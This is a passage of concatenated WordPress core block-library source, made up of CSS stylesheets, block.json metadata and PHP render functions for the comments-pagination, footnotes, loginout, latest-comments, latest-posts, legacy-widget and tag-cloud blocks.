			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-comments-pagination-editor",
	"style": "wp-block-comments-pagination"
}
.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}.editor-styles-wrapper .wp-block-comments-pagination{max-width:100%}.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin:.5em .5em .5em 0}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block[data-align=center]>.wp-block-comments-pagination{
  justify-content:center;
}

.editor-styles-wrapper .wp-block-comments-pagination{
  max-width:100%;
}
.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
  margin-top:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-comments-pagination.aligncenter{
  justify-content:center;
}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-content:center}.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}.editor-styles-wrapper .wp-block-comments-pagination{max-width:100%}.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em;margin-top:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block[data-align=center]>.wp-block-comments-pagination{
  justify-content:center;
}

.editor-styles-wrapper .wp-block-comments-pagination{
  max-width:100%;
}
.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  margin:.5em .5em .5em 0;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination.aligncenter{justify-content:center}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-comments-pagination.aligncenter{
  justify-content:center;
}<?php
/**
 * Server-side rendering of the `core/footnotes` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/footnotes` block on the server.
 *
 * @since 6.3.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the HTML representing the footnotes.
 */
function render_block_core_footnotes( $attributes, $content, $block ) {
	// Bail out early if the post ID is not set for some reason.
	if ( empty( $block->context['postId'] ) ) {
		return '';
	}

	if ( post_password_required( $block->context['postId'] ) ) {
		return;
	}

	$footnotes = get_post_meta( $block->context['postId'], 'footnotes', true );

	if ( ! $footnotes ) {
		return;
	}

	$footnotes = json_decode( $footnotes, true );

	if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) {
		return '';
	}

	$wrapper_attributes = get_block_wrapper_attributes();
	$footnote_index     = 1;

	$block_content = '';

	foreach ( $footnotes as $footnote ) {
		// Translators: %d: Integer representing the number of return links on the page.
		$aria_label     = sprintf( __( 'Jump to footnote reference %1$d' ), $footnote_index );
		$block_content .= sprintf(
			'<li id="%1$s">%2$s <a href="#%1$s-link" aria-label="%3$s">↩︎</a></li>',
			$footnote['id'],
			$footnote['content'],
			$aria_label
		);
		++$footnote_index;
	}

	return sprintf(
		'<ol %1$s>%2$s</ol>',
		$wrapper_attributes,
		$block_content
	);
}

/**
 * Registers the `core/footnotes` block on the server.
 *
 * @since 6.3.0
 */
function register_block_core_footnotes() {
	register_block_type_from_metadata(
		__DIR__ . '/footnotes',
		array(
			'render_callback' => 'render_block_core_footnotes',
		)
	);
}
add_action( 'init', 'register_block_core_footnotes' );


/**
 * Registers the footnotes meta field required for footnotes to work.
 *
 * @since 6.5.0
 */
function register_block_core_footnotes_post_meta() {
	$post_types = get_post_types( array( 'show_in_rest' => true ) );
	foreach ( $post_types as $post_type ) {
		// Only register the meta field if the post type supports the editor, custom fields, and revisions.
		if (
			post_type_supports( $post_type, 'editor' ) &&
			post_type_supports( $post_type, 'custom-fields' ) &&
			post_type_supports( $post_type, 'revisions' )
		) {
			register_post_meta(
				$post_type,
				'footnotes',
				array(
					'show_in_rest'      => true,
					'single'            => true,
					'type'              => 'string',
					'revisions_enabled' => true,
				)
			);
		}
	}
}
/*
 * Most post types are registered at priority 10, so use priority 20 here in
 * order to catch them.
*/
add_action( 'init', 'register_block_core_footnotes_post_meta', 20 );

/**
 * Adds the footnotes field to the revisions display.
 *
 * @since 6.3.0
 *
 * @param array $fields The revision fields.
 * @return array The revision fields.
 */
function wp_add_footnotes_to_revision( $fields ) {
	$fields['footnotes'] = __( 'Footnotes' );
	return $fields;
}
add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' );

/**
 * Gets the footnotes field from the revision for the revisions screen.
 *
 * @since 6.3.0
 *
 * @param string $revision_field The field value, but $revision->$field
 *                               (footnotes) does not exist.
 * @param string $field          The field name, in this case "footnotes".
 * @param object $revision       The revision object to compare against.
 * @return string The field value.
 */
function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) {
	return get_metadata( 'post', $revision->ID, $field, true );
}
add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 );
<?php
/**
 * Server-side rendering of the `core/loginout` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/loginout` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the login-out link or form.
 */
function render_block_core_loginout( $attributes ) {

	// Build the redirect URL.
	$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

	$classes  = is_user_logged_in() ? 'logged-in' : 'logged-out';
	$contents = wp_loginout(
		isset( $attributes['redirectToCurrent'] ) && $attributes['redirectToCurrent'] ? $current_url : '',
		false
	);

	// If logged-out and displayLoginAsForm is true, show the login form.
	if ( ! is_user_logged_in() && ! empty( $attributes['displayLoginAsForm'] ) ) {
		// Add a class.
		$classes .= ' has-login-form';

		// Get the form.
		$contents = wp_login_form( array( 'echo' => false ) );
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );

	return '<div ' . $wrapper_attributes . '>' . $contents . '</div>';
}

/**
 * Registers the `core/loginout` block on server.
 */
function register_block_core_loginout() {
	register_block_type_from_metadata(
		__DIR__ . '/loginout',
		array(
			'render_callback' => 'render_block_core_loginout',
		)
	);
}
add_action( 'init', 'register_block_core_loginout' );
<?php
/**
 * Server-side rendering of the `core/latest-comments` block.
 *
 * @package WordPress
 */

/**
 * Get the post title.
 *
 * The post title is fetched and if it is blank then a default string is
 * returned.
 *
 * Copied from `wp-admin/includes/template.php`, but we can't include that
 * file because:
 *
 * 1. It causes bugs with test fixture generation and strange Docker 255 error
 *    codes.
 * 2. It's in the admin; ideally we *shouldn't* be including files from the
 *    admin for a block's output. It's a very small/simple function as well,
 *    so duplicating it isn't too terrible.
 *
 * @since 3.3.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string The post title if set; "(no title)" if no title is set.
 */
function wp_latest_comments_draft_or_post_title( $post = 0 ) {
	$title = get_the_title( $post );
	if ( empty( $title ) ) {
		$title = __( '(no title)' );
	}
	return $title;
}

/**
 * Renders the `core/latest-comments` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with latest comments added.
 */
function render_block_core_latest_comments( $attributes = array() ) {
	$comments = get_comments(
		/** This filter is documented in wp-includes/widgets/class-wp-widget-recent-comments.php */
		apply_filters(
			'widget_comments_args',
			array(
				'number'      => $attributes['commentsToShow'],
				'status'      => 'approve',
				'post_status' => 'publish',
			),
			array()
		)
	);

	$list_items_markup = '';
	if ( ! empty( $comments ) ) {
		// Prime the cache for associated posts. This is copied from \WP_Widget_Recent_Comments::widget().
		$post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) );
		_prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false );

		foreach ( $comments as $comment ) {
			$list_items_markup .= '<li class="wp-block-latest-comments__comment">';
			if ( $attributes['displayAvatar'] ) {
				$avatar = get_avatar(
					$comment,
					48,
					'',
					'',
					array(
						'class' => 'wp-block-latest-comments__comment-avatar',
					)
				);
				if ( $avatar ) {
					$list_items_markup .= $avatar;
				}
			}

			$list_items_markup .= '<article>';
			$list_items_markup .= '<footer class="wp-block-latest-comments__comment-meta">';
			$author_url         = get_comment_author_url( $comment );
			if ( empty( $author_url ) && ! empty( $comment->user_id ) ) {
				$author_url = get_author_posts_url( $comment->user_id );
			}

			$author_markup = '';
			if ( $author_url ) {
				$author_markup .= '<a class="wp-block-latest-comments__comment-author" href="' . esc_url( $author_url ) . '">' . get_comment_author( $comment ) . '</a>';
			} else {
				$author_markup .= '<span class="wp-block-latest-comments__comment-author">' . get_comment_author( $comment ) . '</span>';
			}

			// `_draft_or_post_title` calls `esc_html()` so we don't need to wrap that call in
			// `esc_html`.
			$post_title = '<a class="wp-block-latest-comments__comment-link" href="' . esc_url( get_comment_link( $comment ) ) . '">' . wp_latest_comments_draft_or_post_title( $comment->comment_post_ID ) . '</a>';

			$list_items_markup .= sprintf(
				/* translators: 1: author name (inside <a> or <span> tag, based on if they have a URL), 2: post title related to this comment */
				__( '%1$s on %2$s' ),
				$author_markup,
				$post_title
			);

			if ( $attributes['displayDate'] ) {
				$list_items_markup .= sprintf(
					'<time datetime="%1$s" class="wp-block-latest-comments__comment-date">%2$s</time>',
					esc_attr( get_comment_date( 'c', $comment ) ),
					date_i18n( get_option( 'date_format' ), get_comment_date( 'U', $comment ) )
				);
			}
			$list_items_markup .= '</footer>';
			if ( $attributes['displayExcerpt'] ) {
				$list_items_markup .= '<div class="wp-block-latest-comments__comment-excerpt">' . wpautop( get_comment_excerpt( $comment ) ) . '</div>';
			}
			$list_items_markup .= '</article></li>';
		}
	}

	$classnames = array();
	if ( $attributes['displayAvatar'] ) {
		$classnames[] = 'has-avatars';
	}
	if ( $attributes['displayDate'] ) {
		$classnames[] = 'has-dates';
	}
	if ( $attributes['displayExcerpt'] ) {
		$classnames[] = 'has-excerpts';
	}
	if ( empty( $comments ) ) {
		$classnames[] = 'no-comments';
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );

	return ! empty( $comments ) ? sprintf(
		'<ol %1$s>%2$s</ol>',
		$wrapper_attributes,
		$list_items_markup
	) : sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		__( 'No comments to show.' )
	);
}

/**
 * Registers the `core/latest-comments` block.
 */
function register_block_core_latest_comments() {
	register_block_type_from_metadata(
		__DIR__ . '/latest-comments',
		array(
			'render_callback' => 'render_block_core_latest_comments',
		)
	);
}

add_action( 'init', 'register_block_core_latest_comments' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/latest-posts",
	"title": "Latest Posts",
	"category": "widgets",
	"description": "Display a list of your most recent posts.",
	"keywords": [ "recent posts" ],
	"textdomain": "default",
	"attributes": {
		"categories": {
			"type": "array",
			"items": {
				"type": "object"
			}
		},
		"selectedAuthor": {
			"type": "number"
		},
		"postsToShow": {
			"type": "number",
			"default": 5
		},
		"displayPostContent": {
			"type": "boolean",
			"default": false
		},
		"displayPostContentRadio": {
			"type": "string",
			"default": "excerpt"
		},
		"excerptLength": {
			"type": "number",
			"default": 55
		},
		"displayAuthor": {
			"type": "boolean",
			"default": false
		},
		"displayPostDate": {
			"type": "boolean",
			"default": false
		},
		"postLayout": {
			"type": "string",
			"default": "list"
		},
		"columns": {
			"type": "number",
			"default": 3
		},
		"order": {
			"type": "string",
			"default": "desc"
		},
		"orderBy": {
			"type": "string",
			"default": "date"
		},
		"displayFeaturedImage": {
			"type": "boolean",
			"default": false
		},
		"featuredImageAlign": {
			"type": "string",
			"enum": [ "left", "center", "right" ]
		},
		"featuredImageSizeSlug": {
			"type": "string",
			"default": "thumbnail"
		},
		"featuredImageSizeWidth": {
			"type": "number",
			"default": null
		},
		"featuredImageSizeHeight": {
			"type": "number",
			"default": null
		},
		"addLinkToFeaturedImage": {
			"type": "boolean",
			"default": false
		}
	},
	"supports": {
		"align": true,
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-latest-posts-editor",
	"style": "wp-block-latest-posts"
}
.wp-block-latest-posts{padding-left:2.5em}.wp-block-latest-posts.is-grid{padding-left:0}.wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}.editor-latest-posts-image-alignment-control .components-base-control__label{display:block}.editor-latest-posts-image-alignment-control .components-toolbar{border-radius:2px}.wp-block-latest-posts{
  padding-right:2.5em;
}
.wp-block-latest-posts.is-grid{
  padding-right:0;
}
.wp-block-latest-posts>li{
  overflow:hidden;
}

.wp-block-latest-posts li a>div{
  display:inline;
}

.edit-post-visual-editor .wp-block-latest-posts.is-grid li{
  margin-bottom:20px;
}

.editor-latest-posts-image-alignment-control .components-base-control__label{
  display:block;
}
.editor-latest-posts-image-alignment-control .components-toolbar{
  border-radius:2px;
}.wp-block-latest-posts{
  box-sizing:border-box;
}
.wp-block-latest-posts.alignleft{
  margin-right:2em;
}
.wp-block-latest-posts.alignright{
  margin-left:2em;
}
.wp-block-latest-posts.wp-block-latest-posts__list{
  list-style:none;
  padding-left:0;
}
.wp-block-latest-posts.wp-block-latest-posts__list li{
  clear:both;
}
.wp-block-latest-posts.is-grid{
  display:flex;
  flex-wrap:wrap;
  padding:0;
}
.wp-block-latest-posts.is-grid li{
  margin:0 1.25em 1.25em 0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-latest-posts.columns-2 li{
    width:calc(50% - .625em);
  }
  .wp-block-latest-posts.columns-2 li:nth-child(2n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-3 li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-latest-posts.columns-3 li:nth-child(3n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-4 li{
    width:calc(25% - .9375em);
  }
  .wp-block-latest-posts.columns-4 li:nth-child(4n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-5 li{
    width:calc(20% - 1em);
  }
  .wp-block-latest-posts.columns-5 li:nth-child(5n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-6 li{
    width:calc(16.66667% - 1.04167em);
  }
  .wp-block-latest-posts.columns-6 li:nth-child(6n){
    margin-right:0;
  }
}

.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{
  display:block;
  font-size:.8125em;
}

.wp-block-latest-posts__post-excerpt{
  margin-bottom:1em;
  margin-top:.5em;
}

.wp-block-latest-posts__featured-image a{
  display:inline-block;
}
.wp-block-latest-posts__featured-image img{
  height:auto;
  max-width:100%;
  width:auto;
}
.wp-block-latest-posts__featured-image.alignleft{
  float:left;
  margin-right:1em;
}
.wp-block-latest-posts__featured-image.alignright{
  float:right;
  margin-left:1em;
}
.wp-block-latest-posts__featured-image.aligncenter{
  margin-bottom:1em;
  text-align:center;
}.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none;padding-left:0}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 1.25em 1.25em 0;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-right:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-right:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-right:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-right:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-right:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}.wp-block-latest-posts{padding-right:2.5em}.wp-block-latest-posts.is-grid{padding-right:0}.wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}.editor-latest-posts-image-alignment-control .components-base-control__label{display:block}.editor-latest-posts-image-alignment-control .components-toolbar{border-radius:2px}.wp-block-latest-posts{
  padding-left:2.5em;
}
.wp-block-latest-posts.is-grid{
  padding-left:0;
}
.wp-block-latest-posts>li{
  overflow:hidden;
}

.wp-block-latest-posts li a>div{
  display:inline;
}

.edit-post-visual-editor .wp-block-latest-posts.is-grid li{
  margin-bottom:20px;
}

.editor-latest-posts-image-alignment-control .components-base-control__label{
  display:block;
}
.editor-latest-posts-image-alignment-control .components-toolbar{
  border-radius:2px;
}.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none;padding-right:0}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 0 1.25em 1.25em;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-left:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-left:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-left:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-left:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-left:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}.wp-block-latest-posts{
  box-sizing:border-box;
}
.wp-block-latest-posts.alignleft{
  margin-right:2em;
}
.wp-block-latest-posts.alignright{
  margin-left:2em;
}
.wp-block-latest-posts.wp-block-latest-posts__list{
  list-style:none;
  padding-right:0;
}
.wp-block-latest-posts.wp-block-latest-posts__list li{
  clear:both;
}
.wp-block-latest-posts.is-grid{
  display:flex;
  flex-wrap:wrap;
  padding:0;
}
.wp-block-latest-posts.is-grid li{
  margin:0 0 1.25em 1.25em;
  width:100%;
}
@media (min-width:600px){
  .wp-block-latest-posts.columns-2 li{
    width:calc(50% - .625em);
  }
  .wp-block-latest-posts.columns-2 li:nth-child(2n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-3 li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-latest-posts.columns-3 li:nth-child(3n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-4 li{
    width:calc(25% - .9375em);
  }
  .wp-block-latest-posts.columns-4 li:nth-child(4n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-5 li{
    width:calc(20% - 1em);
  }
  .wp-block-latest-posts.columns-5 li:nth-child(5n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-6 li{
    width:calc(16.66667% - 1.04167em);
  }
  .wp-block-latest-posts.columns-6 li:nth-child(6n){
    margin-left:0;
  }
}

.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{
  display:block;
  font-size:.8125em;
}

.wp-block-latest-posts__post-excerpt{
  margin-bottom:1em;
  margin-top:.5em;
}

.wp-block-latest-posts__featured-image a{
  display:inline-block;
}
.wp-block-latest-posts__featured-image img{
  height:auto;
  max-width:100%;
  width:auto;
}
.wp-block-latest-posts__featured-image.alignleft{
  float:left;
  margin-right:1em;
}
.wp-block-latest-posts__featured-image.alignright{
  float:right;
  margin-left:1em;
}
.wp-block-latest-posts__featured-image.aligncenter{
  margin-bottom:1em;
  text-align:center;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/legacy-widget",
	"title": "Legacy Widget",
	"category": "widgets",
	"description": "Display a legacy widget.",
	"textdomain": "default",
	"attributes": {
		"id": {
			"type": "string",
			"default": null
		},
		"idBase": {
			"type": "string",
			"default": null
		},
		"instance": {
			"type": "object",
			"default": null
		}
	},
	"supports": {
		"html": false,
		"customClassName": false,
		"reusable": false
	},
	"editorStyle": "wp-block-legacy-widget-editor"
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/tag-cloud",
	"title": "Tag Cloud",
	"category": "widgets",
	"description": "A cloud of your most used tags.",
	"textdomain": "default",
	"attributes": {
		"numberOfTags": {
			"type": "number",
			"default": 45,
			"minimum": 1,
			"maximum": 100
		},
		"taxonomy": {
			"type": "string",
			"default": "post_tag"
		},
		"showTagCounts": {
			"type": "boolean",
			"default": false
		},
		"smallestFontSize": {
			"type": "string",
			"default": "8pt"
		},
		"largestFontSize": {
			"type": "string",
			"default": "22pt"
		}
	},
	"styles": [
		{ "name": "default", "label": "Default", "isDefault": true },
		{ "name": "outline", "label": "Outline" }
	],
	"supports": {
		"html": false,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalLetterSpacing": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-tag-cloud-editor"
}
.wp-block-tag-cloud{
  box-sizing:border-box;
}
.wp-block-tag-cloud.aligncenter{
  justify-content:center;
  text-align:center;
}
.wp-block-tag-cloud.alignfull{
  padding-left:1em;
  padding-right:1em;
}
.wp-block-tag-cloud a{
  display:inline-block;
  margin-right:5px;
}
.wp-block-tag-cloud span{
  display:inline-block;
  margin-left:5px;
  text-decoration:none;
}
.wp-block-tag-cloud.is-style-outline{
  display:flex;
  flex-wrap:wrap;
  gap:1ch;
}
.wp-block-tag-cloud.is-style-outline a{
  border:1px solid;
  font-size:unset !important;
  margin-right:0;
  padding:1ch 2ch;
  text-decoration:none !important;
}.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-right:5px}.wp-block-tag-cloud span{display:inline-block;margin-left:5px;text-decoration:none}.wp-block-tag-cloud.is-style-outline{display:flex;flex-wrap:wrap;gap:1ch}.wp-block-tag-cloud.is-style-outline a{border:1px solid;font-size:unset!important;margin-right:0;padding:1ch 2ch;text-decoration:none!important}.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-left:5px}.wp-block-tag-cloud span{display:inline-block;margin-right:5px;text-decoration:none}.wp-block-tag-cloud.is-style-outline{display:flex;flex-wrap:wrap;gap:1ch}.wp-block-tag-cloud.is-style-outline a{border:1px solid;font-size:unset!important;margin-left:0;padding:1ch 2ch;text-decoration:none!important}.wp-block-tag-cloud{
  box-sizing:border-box;
}
.wp-block-tag-cloud.aligncenter{
  justify-content:center;
